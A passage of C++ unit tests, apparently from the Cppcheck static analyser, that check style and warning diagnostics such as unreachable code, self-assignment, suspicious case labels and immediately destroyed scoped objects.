ASSERT_EQUALS(\"\", errout_str());\n\n check(\"[[noreturn]] void n();\\n\"\n \"void f() {\\n\"\n \" n();\\n\"\n \" g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Statements following noreturn function 'n()' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" exit(1);\\n\"\n \" g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Statements following noreturn function 'exit()' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" do {\\n\"\n \" break;\\n\"\n \" g();\\n\"\n \" } while (0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Statements following 'break' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #12244\n \" {\\n\"\n \" std::cout << \\\"x\\\";\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" std::cout << \\\"y\\\";\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" {\\n\"\n \" std::cout << \\\"x\\\";\\n\"\n \" exit(1);\\n\"\n \" }\\n\"\n \" std::cout << \\\"y\\\";\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Statements following noreturn function 'exit()' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #13475\n \" { return 0; };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\" // #13478\n \" int x = 0;\\n\"\n \" switch (i) {\\n\"\n \" { case 0: x = 5; break; }\\n\"\n \" { case 1: x = 7; break; }\\n\"\n \" }\\n\"\n \" return x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int c) {\\n\"\n \" switch (c) {\\n\"\n \" case '\\\\n':\\n\"\n \" { return 1; };\\n\"\n \" default:\\n\"\n \" { return c; };\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int main(int argc, char *argv[]) {\\n\" // #11\n \" switch (argc) {\\n\"\n \" case 0: {\\n\"\n \" return 1;\\n\"\n \" }\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:9]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\"\n \"[test.cpp:1:26]: (style) Parameter 'argv' can be declared as const array [constParameter]\\n\",\n errout_str());\n\n check(\"int f(int i) {\\n\" // #13491\n \" switch (i) {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" int j;\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" j = 5;\\n\"\n \" return j + i;\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" switch (i) {\\n\"\n \" {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" {\\n\"\n \" int j;\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" j = 5;\\n\"\n \" return j + i;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" switch (i) {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" int a[1];\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" a[0] = 5;\\n\"\n \" return a[0] + i;\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" switch (i) {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" int j;\\n\"\n \" dostuff();\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" j = 5;\\n\"\n \" return j + i;\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", \"\", errout_str());\n\n check(\"int f() {\\n\" // #13472\n \" int var;\\n\"\n \" auto int ret();\\n\"\n \" int ret() {\\n\"\n \" return var;\\n\"\n \" }\\n\"\n \" var = 42;\\n\"\n \" return ret();\\n\"\n \"}\\n\", /*cpp*/ false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #13516\n \" io_uring_for_each_cqe(&ring, head, cqe) {\\n\"\n \" if (cqe->res == -EOPNOTSUPP)\\n\"\n \" printf(\\\"error\\\");\\n\"\n \" goto ok;\\n\"\n \" }\\n\"\n \" usleep(10000);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantContinue() {\n check(\"void f() {\\n\" // #11195\n \" for (int i = 0; i < 10; ++i) {\\n\"\n \" printf(\\\"i = %d\\\\n\\\", i);\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) 'continue' is redundant since it is the last statement in a loop. [redundantContinue]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i = 0;\"\n \" do {\\n\"\n \" ++i;\\n\"\n \" printf(\\\"i = %d\\\\n\\\", i);\\n\"\n \" continue;\\n\"\n \" } while (i < 10);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style) 'continue' is redundant since it is the last statement in a loop. [redundantContinue]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #13475\n \" { return 0; };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\" // #13478\n \" int x = 0;\\n\"\n \" switch (i) {\\n\"\n \" { case 0: x = 5; break; }\\n\"\n \" { case 1: x = 7; break; }\\n\"\n \" }\\n\"\n \" return x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int x, int y) {\\n\" // #13544\n \" switch (x) {\\n\"\n \" case 1: {\\n\"\n \" return y != 0;\\n\"\n \" int z = y + 5;\\n\"\n \" return z != 7;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n }\n\n\n void suspiciousCase() {\n check(\"void foo() {\\n\"\n \" switch(a) {\\n\"\n \" case A&&B:\\n\"\n \" foo();\\n\"\n \" case (A||B):\\n\"\n \" foo();\\n\"\n \" case A||B:\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (warning, inconclusive) Found suspicious case label in switch(). Operator '&&' probably doesn't work as intended. [suspiciousCase]\\n\"\n \"[test.cpp:5:16]: (warning, inconclusive) Found suspicious case label in switch(). Operator '||' probably doesn't work as intended. [suspiciousCase]\\n\"\n \"[test.cpp:7:15]: (warning, inconclusive) Found suspicious case label in switch(). Operator '||' probably doesn't work as intended. [suspiciousCase]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" switch(a) {\\n\"\n \" case 1:\\n\"\n \" a=A&&B;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // TODO Do not throw AST validation exception\n TODO_ASSERT_THROW(check(\"void foo() {\\n\"\n \" switch(a) {\\n\"\n \" case A&&B?B:A:\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \"}\"), InternalError);\n //ASSERT_EQUALS(\"\", errout_str());\n }\n\n void suspiciousEqualityComparison() {\n check(\"void foo(int c) {\\n\"\n \" if (x) c == 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(const int* c) {\\n\"\n \" if (x) *c == 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n\n check(\"void foo(int c) {\\n\"\n \" if (c == 1) {\\n\"\n \" c = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" c == 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:7]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (int i = 0; i == 10; i ++) {\\n\"\n \" a ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (i == 0; i < 10; i ++) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (i == 1; i < 10; i ++) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (i == 2; i < 10; i ++) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (int i = 0; i < 10; i == c) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:31]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (; running == 1;) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" printf(\\\"%i\\\", ({x==0;}));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int arg) {\\n\"\n \" printf(\\\"%i\\\", ({int x = do_something(); x == 0;}));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" printf(\\\"%i\\\", ({x == 0; x > 0 ? 10 : 20}));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" for (const Token* end = tok->link(); tok != end; tok = (tok == end) ? end : tok->next()) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" for (int i = (x == 0) ? 0 : 5; i < 10; i ++) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" for (int i = 0; i < 10; i += (x == 5) ? 1 : 2) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void suspiciousUnaryPlusMinus() { // #8004\n check(\"int g() { return 1; }\\n\"\n \"void f() {\\n\"\n \" +g();\\n\"\n \" -g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning, inconclusive) Found suspicious operator '+', result is not used. [constStatement]\\n\"\n \"[test.cpp:4:5]: (warning, inconclusive) Found suspicious operator '-', result is not used. [constStatement]\\n\",\n errout_str());\n\n check(\"void f(int i) {\\n\"\n \" +i;\\n\"\n \" -i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '+', result is not used. [constStatement]\\n\"\n \"[test.cpp:3:5]: (warning, inconclusive) Found suspicious operator '-', result is not used. [constStatement]\\n\",\n errout_str());\n }\n\n void suspiciousFloatingPointCast() {\n check(\"double f(double a, double b, float c) {\\n\"\n \" return a + (float)b + c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\", errout_str());\n\n check(\"double f(double a, double b, float c) {\\n\"\n \" return a + static_cast(b) + c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:34]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\", errout_str());\n\n check(\"long double f(long double a, long double b, float c) {\\n\"\n \" return a + (double)b + c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\", errout_str());\n\n check(\"void g(int, double);\\n\"\n \"void h(double);\\n\"\n \"void f(double d) {\\n\"\n \" g(1, (float)d);\\n\"\n \" h((float)d);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\"\n \"[test.cpp:5:7]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\",\n errout_str());\n }\n\n void selfAssignment() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = 1;\\n\"\n \" x = x;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"struct A { int b; };\\n\"\n \"void foo(A* a1, A* a2) {\\n\"\n \" a1->b = a1->b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Redundant assignment of 'a1->b' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"int x;\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" x = x = 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n // #4073 (segmentation fault)\n check(\"void Foo::myFunc( int a )\\n\"\n \"{\\n\"\n \" if (a == 42)\\n\"\n \" a = a;\\n\"\n \"}\");\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = 1;\\n\"\n \" x = x + 1;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int *x = getx();\\n\"\n \" *x = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" BAR *x = getx();\\n\"\n \" x = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n // #2502 - non-primitive type -> there might be some side effects\n check(\"void foo()\\n\"\n \"{\\n\"\n \" Fred fred; fred = fred;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" x = (x == 0);\"\n \" func(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" x = (x != 0);\"\n \" func(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket #3001 - false positive\n check(\"void foo(int x) {\\n\"\n \" x = x ? x : 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3800 - false negative when variable is extern\n check(\"extern int i;\\n\"\n \"void f() {\\n\"\n \" i = i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (style) Redundant assignment of 'i' to itself. [selfAssignment]\\n\", errout_str());\n\n // #4291 - id for variables accessed through 'this'\n check(\"class Foo {\\n\"\n \" int var;\\n\"\n \" void func();\\n\"\n \"};\\n\"\n \"void Foo::func() {\\n\"\n \" this->var = var;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:15]: (style) Redundant assignment of 'this->var' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"class Foo {\\n\"\n \" int var;\\n\"\n \" void func(int var);\\n\"\n \"};\\n\"\n \"void Foo::func(int var) {\\n\"\n \" this->var = var;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6406 - designated initializer doing bogus self assignment\n check(\"struct callbacks {\\n\"\n \" void (*s)(void);\\n\"\n \"};\\n\"\n \"void something(void) {}\\n\"\n \"void f() {\\n\"\n \" struct callbacks ops = { .s = ops.s };\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6]: (style) Redundant assignment of 'something' to itself.\\n\", \"\", errout_str());\n\n check(\"class V\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" V()\\n\"\n \" {\\n\"\n \" x = y = z = 0.0;\\n\"\n \" }\\n\"\n \" V( double x, const double y_, const double &z_)\\n\"\n \" {\\n\"\n \" x = x; y = y; z = z;\\n\"\n \" }\\n\"\n \" double x, y, z;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:10:11]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\"\n \"[test.cpp:10:18]: (style) Redundant assignment of 'y' to itself. [selfAssignment]\\n\"\n \"[test.cpp:10:25]: (style) Redundant assignment of 'z' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"void f(int i) { i = !!i; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int x = 1;\\n\"\n \" int &ref = x;\\n\"\n \" ref = x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Redundant assignment of 'ref' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"class Foo {\\n\" // #9850\n \" int i{};\\n\"\n \" void modify();\\n\"\n \" void method() {\\n\"\n \" Foo copy = *this;\\n\"\n \" modify();\\n\"\n \" *this = copy;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #11383\n \" void f() {\\n\"\n \" int x = 42;\"\n \" auto l2 = [i = i, x, y = 0]() { return i + x + y; };\\n\"\n \" }\\n\"\n \" int i;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #10337\n \" int b[2] = { 1, 2 };\\n\"\n \" int idx = 0;\\n\"\n \" int& i = b[idx];\\n\"\n \" idx++;\\n\"\n \" i = b[idx];\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int*);\\n\" // #12390\n \"void f() {\\n\"\n \" int o = s.i;\\n\"\n \" g(&s.i);\\n\"\n \" s.i = o;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void trac1132() {\n check(\"class Lock\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" Lock(int i)\\n\"\n \" {\\n\"\n \" std::cout << \\\"Lock \\\" << i << std::endl;\\n\"\n \" }\\n\"\n \" ~Lock()\\n\"\n \" {\\n\"\n \" std::cout << \\\"~Lock\\\" << std::endl;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" Lock(123);\\n\"\n \" std::cout << \\\"hello\\\" << std::endl;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:15:5]: (style) Instance of 'Lock' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void trac3693() {\n check(\"struct A{\\n\"\n \" enum {\\n\"\n \" b = 300\\n\"\n \" };\\n\"\n \"};\\n\"\n \"const int DFLT_TIMEOUT = A::b % 1000000 ;\\n\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickFunction1() {\n check(\"int main ( )\\n\"\n \"{\\n\"\n \" CouldBeFunction ( 123 ) ;\\n\"\n \" return 0 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickFunction2() {\n check(\"struct error {\\n\"\n \" error() {}\\n\"\n \"};\\n\"\n \"\\n\"\n \"class parser {\\n\"\n \"public:\\n\"\n \" void error() const {}\\n\"\n \"\\n\"\n \" void foo() const {\\n\"\n \" error();\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectPicksClass() {\n check(\"class NotAFunction ;\\n\"\n \"int function ( )\\n\"\n \"{\\n\"\n \" NotAFunction ( 123 );\\n\"\n \" return 0 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Instance of 'NotAFunction' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectPicksStruct() {\n check(\"struct NotAClass;\\n\"\n \"bool func ( )\\n\"\n \"{\\n\"\n \" NotAClass ( 123 ) ;\\n\"\n \" return true ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Instance of 'NotAClass' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickIf() {\n check(\"bool func( int a , int b , int c )\\n\"\n \"{\\n\"\n \" if ( a > b ) return c == a ;\\n\"\n \" return b == a ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickConstructorDeclaration() {\n check(\"class Something : public SomethingElse\\n\"\n \"{\\n\"\n \"public:\\n\"\n \"~Something ( ) ;\\n\"\n \"Something ( ) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickFunctor() {\n check(\"class IncrementFunctor\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" void operator()(int &i)\\n\"\n \" {\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" int a = 1;\\n\"\n \" IncrementFunctor()(a);\\n\"\n \" return a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickLocalClassConstructors() {\n check(\"void f() {\\n\"\n \" class Foo {\\n\"\n \" Foo() { }\\n\"\n \" Foo(int a) { }\\n\"\n \" Foo(int a, int b) { }\\n\"\n \" };\\n\"\n \" Foo();\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Instance of 'Foo' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickUsedObject() {\n check(\"struct Foo {\\n\"\n \" void bar() {\\n\"\n \" }\\n\"\n \"};\\n\"\n \"\\n\"\n \"void fn() {\\n\"\n \" Foo().bar();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickPureC() {\n // Ticket #2352\n const char code[] = \"struct cb_watch_bool {\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" cb_watch_bool();\\n\"\n \" do_something();\\n\"\n \"}\\n\";\n\n check(code, true);\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Instance of 'cb_watch_bool' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n\n check(code, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #2639\n check(\"struct stat { int a; int b; };\\n\"\n \"void stat(const char *fn, struct stat *);\\n\"\n \"\\n\"\n \"void foo() {\\n\"\n \" stat(\\\"file.txt\\\", &st);\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\",errout_str());\n\n check(\"struct AMethodObject {\\n\" // #4336\n \" AMethodObject(double, double, double);\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" static void A(double, double, double);\\n\"\n \"};\\n\"\n \"void S::A(double const a1, double const a2, double const a3) {\\n\"\n \" AMethodObject(a1, a2, a3);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\",errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickNestedClass() {\n const char code[] = \"class ios_base {\\n\"\n \"public:\\n\"\n \" class Init {\\n\"\n \" public:\\n\"\n \" };\\n\"\n \"};\\n\"\n \"class foo {\\n\"\n \"public:\\n\"\n \" foo();\\n\"\n \" void Init(int);\\n\"\n \"};\\n\"\n \"foo::foo() {\\n\"\n \" Init(0);\\n\"\n \" do_something();\\n\"\n \"}\\n\";\n\n check(code, true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectInConstructor() {\n const char code[] = \"class Foo {\\n\"\n \"public:\\n\"\n \" Foo(char x) {\\n\"\n \" Foo(x, 0);\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \" Foo(char x, int y) { }\\n\"\n \"};\\n\";\n check(code, true);\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Instance of 'Foo' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectStandardType() {\n check(\"int g();\\n\"\n \"void f(int i) {\\n\"\n \" int();\\n\"\n \" int(0);\\n\"\n \" int( g() );\\n\" // don't warn\n \" int{};\\n\"\n \" int{ 0 };\\n\"\n \" int{ i };\\n\"\n \" int{ g() };\\n\" // don't warn\n \" g();\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:4:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:6:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:7:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:8:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\",\n errout_str());\n\n check(\"void f(int j) {\\n\"\n \" for (; bool(j); ) {}\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g() {\\n\"\n \" float (f);\\n\"\n \" float (*p);\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" void();\\n\"\n \" return i;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectNamespace() {\n check(\"namespace M {\\n\" // #4779\n \" namespace N {\\n\"\n \" struct S {};\\n\"\n \" }\\n\"\n \"}\\n\"\n \"int f() {\\n\"\n \" M::N::S();\\n\"\n \" return 0;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:7:11]: (style) Instance of 'M::N::S' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #10057\n \" std::string(\\\"abc\\\");\\n\"\n \" std::string{ \\\"abc\\\" };\\n\"\n \" std::pair(1, 2);\\n\"\n \" (void)0;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Instance of 'std::string' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:3:10]: (style) Instance of 'std::string' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:4:10]: (style) Instance of 'std::pair' object is destroyed immediately. [unusedScopedObject]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #10083\n \" void f() {\\n\"\n \" std::lock_guard(m);\\n\"\n \" }\\n\"\n \" void g() {\\n\"\n \" std::scoped_lock(m);\\n\"\n \" }\\n\"\n \" void h() {\\n\"\n \" std::scoped_lock(m);\\n\"\n \" }\\n\"\n \" std::mutex m;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) Instance of 'std::lock_guard' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:6:14]: (style) Instance of 'std::scoped_lock' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:9:14]: (style) Instance of 'std::scoped_lock' object is destroyed immediately. [unusedScopedObject]\\n\",\n errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"namespace {\\n\"\n \" S s() { return ::S{42}; }\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectAssignment() { // #11371\n check(\"struct S;\\n\"\n \"S f();\\n\"\n \"S& g();\\n\"\n \"S&& h();\\n\"\n \"S* i();\\n\"\n \"void t0() { f() = {}; }\\n\"\n \"void t1() { g() = {}; }\\n\"\n \"void t2() { h() = {}; }\\n\"\n \"void 